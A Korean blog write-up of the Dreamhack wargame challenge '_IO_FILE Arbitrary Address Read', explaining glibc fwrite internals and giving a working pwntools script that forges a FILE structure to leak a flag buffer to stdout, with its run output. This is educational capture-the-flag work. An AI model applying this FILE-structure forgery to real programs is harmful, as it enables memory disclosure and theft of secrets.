dreamhack - _IO_FILE Arbitrary Address Read writeup
[dreamhack] _IO_FILE Arbitrary Address Read writeup
1. 문제

Exploit Tech: _IO_FILE Arbitrary Address Read에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3662. 풀이
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("./flag", "r");
//fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
read_flag();
fp = fopen("/tmp/testfile", "w");
printf("Data: ");
read(0, fp, 300);
fwrite(data, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
fp
구조체를 덮어씌울 수 있는 취약점이 존재하는 코드이다. 이를 통해 임의의 주소에 원하는 값을 쓸 수 있다.
관련해서 이전에 풀었던 _IO_FILE Arbitrary Address Write
문제를 참고하였다.

fp
구조체를 덮어씌워서 fwrite
함수가 실행될 때 flag_buf
변수에 있는 내용을 stdout
으로 출력하도록 해야한다.
그러기 위해서는 어떻게 덮을지를 알아봐야한다.
2.1. fwrite 함수
fwrite
함수는 라이브러리 내부에서 _IO_file_xsputn
함수를 호출하는데 이는 실질적으로 _IO_new_file_xsputn
함수를 실행한다.
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
여기서 data
와 n
변수를 검사하고 _IO_OVERFLOW
함수를 호출하는데 이 함수는 실질적으로 _IO_new_file_overflow
함수를 호출한다.
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
}
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
_IO_new_file_overflow
함수는 _flags
변수를 확인하고, _IO_do_write
함수를 호출하는데, 이는 실질적으로 _IO_new_do_write
함수이다.
이때 활용되는 필드가 _IO_write_base
, _IO_write_ptr
이다. 그리고 이 함수 내에서는 new_do_write
함수를 다시 호출한다.
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
이 함수에서는 _flags
변수를 확인하고, _IO_read_end
변수와 _IO_write_base
변수가 같은지 확인한 후 (같지않으면 _IO_SYSSEEK (lseek 시스템콜)이 호출된다), _IO_SYSWRITE
, 즉 write
시스템콜을 호출한다.
따라서 _IO_read_end
변수와 _IO_write_base
변수를 같게하고, _IO_write_ptr
에는 출력할 길이만큼 _IO_write_base
에 들어가는 내용에 더해주면 된다.
그리고 소스코드에서 fd
로 사용되고 있는 data
를 stdout
으로 변경해주기 위해서 _fileno
변수를 1로 변경해준다.
_flags
변수는 0xfbad0800
으로 설정해준다.
from pwn import *
p = process("./iofile_aar")
#p = remote("host8.dreamhack.games", 14451)
elf = ELF("./iofile_aar")
fake_iofile = p64(0xfbad0800) # _flags
fake_iofile += p64(0) # _IO_read_ptr
fake_iofile += p64(elf.symbols["flag_buf"]) # _IO_read_end
fake_iofile += p64(0) # _IO_read_base
fake_iofile += p64(elf.symbols["flag_buf"]) # _IO_write_base
fake_iofile += p64(elf.symbols["flag_buf"] + 1024) # _IO_write_ptr
fake_iofile += p64(0) # _IO_write_end
fake_iofile += p64(0) # _IO_buf_base
fake_iofile += p64(0) # _IO_buf_end
fake_iofile += p64(0) # _IO_save_base
fake_iofile += p64(0) # _IO_backup_base
fake_iofile += p64(0) # _IO_save_end
fake_iofile += p64(0) # _IO_marker *_markers
fake_iofile += p64(0) # _IO_FILE *_chain
fake_iofile += p64(1) # _fileno
p.sendafter(b"Data: ", fake_iofile)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/_IO_FILE_Arbitrary_Address_Read$ python3 e_iofile_aar.py
[+] Starting local process './iofile_aar': pid 3114842
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/_IO_FILE_Arbitrary_Address_Read/iofile_aar'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] Switching to interactive mode
[*] Process './iofile_aar' stopped with exit code 0 (pid 3114842)
DH{**flag**}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 (생략)
주의점은 주어진 바이너리에서 flag
파일을 열 때 fopen("/home/iofile_aar/flag", "r");
이런 위치에서 열려고 시도하는데, 로컬에서는 그런 위치가 없기 때문에 도커를 사용하거나 제대로 열 수 있게 아예 소스코드를 수정해서 컴파일을 다시 한 바이너리를 사용해야 오류가 없다. 그리고 이렇게 다시 컴파일했을 때는 flag_buf
변수의 위치가 변경되기 때문에 기존 바이너리 기준으로 다시 찾아야한다.
별개로 _IO_FILE
구조체 덮어쓰는거 너무 어렵다… 이렇게 대놓고 취약점을 주는데도 어려운데 점점 어려워지는듯… 어떤 필드를 어떻게 덮어야하는지를 잘 찾는게 중요할 것 같다.
해결~